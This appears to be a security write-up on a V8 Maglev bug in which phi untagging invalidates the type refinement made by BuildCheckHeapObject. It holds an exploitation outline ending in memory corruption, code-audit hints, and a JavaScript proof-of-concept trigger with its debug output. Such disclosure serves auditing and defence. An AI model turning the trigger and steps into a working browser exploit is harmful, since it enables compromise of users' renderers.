Maglev

V8’s mid-tier optimizing JIT that builds a graph of ValueNodes and tracks a static NodeType for each value to elide redundant checks.

`NodeType`

A lattice of value-shape facts (kSmi, kHeapNumber, kAnyHeapObject, etc.); IntersectType/UnionType narrow or widen a node’s tracked type, and consumers rely on it as ground truth.

`Phi`

A graph node merging values from multiple control-flow predecessors; maglev’s phi untagging can pick an unboxed-double representation, converting a Smi input into a HeapNumber at runtime.

`BuildCheckHeapObject`

Emits a CheckHeapObject deopt guard and narrows the value’s tracked NodeType to kAnyHeapObject, removing kSmi.

1. Craft a polymorphic phi Author JS whose control flow merges a Smi-producing branch and a heap-object branch into one Phi.
2. Force the heap-object check Use the merged value in a context that triggers BuildCheckHeapObject, stripping kSmi down to kAnyHeapObject.
3. Trigger phi untagging Feed the phi through arithmetic that makes maglev untag it onto the unboxed-double path, so the Smi input becomes a HeapNumber at runtime.
4. Reach the miscompiled consumer Route the phi to a downstream node that, trusting the HeapNumber-excluding type, reads the value as a tagged object pointer.
5. Corrupt memory Supply a double whose bit pattern forms an attacker-chosen pointer, achieving type confusion and controlled memory corruption in the renderer.

• src/maglev/maglev-graph-builder.cc

• Type narrowing that ignores later rewrites
  Review every IntersectType/EnsureType call that removes kSmi or kHeapNumber from a Phi, and verify it accounts for representation-changing passes like phi untagging that can re-introduce the removed shape.
• Check-then-record asymmetry
  Audit sites where a runtime guard (CheckHeapObject, CheckSmi, map checks) drives a static NodeType update, ensuring the recorded type is not narrower than what subsequent optimizations can produce.
• Consumers trusting `kAnyHeapObject`
  Inspect nodes that dereference values typed kAnyHeapObject without excluding kHeapNumber, since a stale narrow type there converts a benign double into a fake pointer.

Phi untagging invalidates BuildCheckHeapObject's type refinement

let o = { x : "abc" };
o.x = []; // Making non-string, non-const, but still HeapObject

function foo(c1, c2) {
  let phi1 = c1 ? 42 : 0x40000000;
  phi1 + 1; // inserting smi check

  let phi2 = c2 ? true : phi1;
  o.x = phi2;
}

%PrepareFunctionForOptimization(foo);
foo(true, true);
foo(true, true);

%OptimizeMaglevOnNextCall(foo);
foo(true, true);
foo(true, true);

foo(false, false);

CheckMaglevType failed
DebugPrint: 0xf9e0104b685: [HeapNumber]
 - map: 0x0f9e00000515 <Map[12](HEAP_NUMBER_TYPE)>
 - value: 1073741824.0
0xf9e00000515: [Map] in ReadOnlySpace
 - map: 0x0f9e00000475 <MetaMap (0x0f9e0000002d <null>)>
 - type: HEAP_NUMBER_TYPE
 - instance size: 12
 - elements kind: HOLEY_ELEMENTS
 - enum length: invalid
 - stable_map
 - non-extensible
 - back pointer: 0x0f9e00000011 <undefined>
 - prototype_validity_cell: 0
 - instance descriptors (own) #0: 0x0f9e0000080d <DescriptorArray[0]>
 - prototype: 0x0f9e0000002d <null>
 - constructor: 0x0f9e0000002d <null>
 - dependent code: 0x0f9e000007f5 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

Expected type: : DebugPrint: Smi: 0x10 (16)

Actual type: : DebugPrint: Smi: 0x2 (2)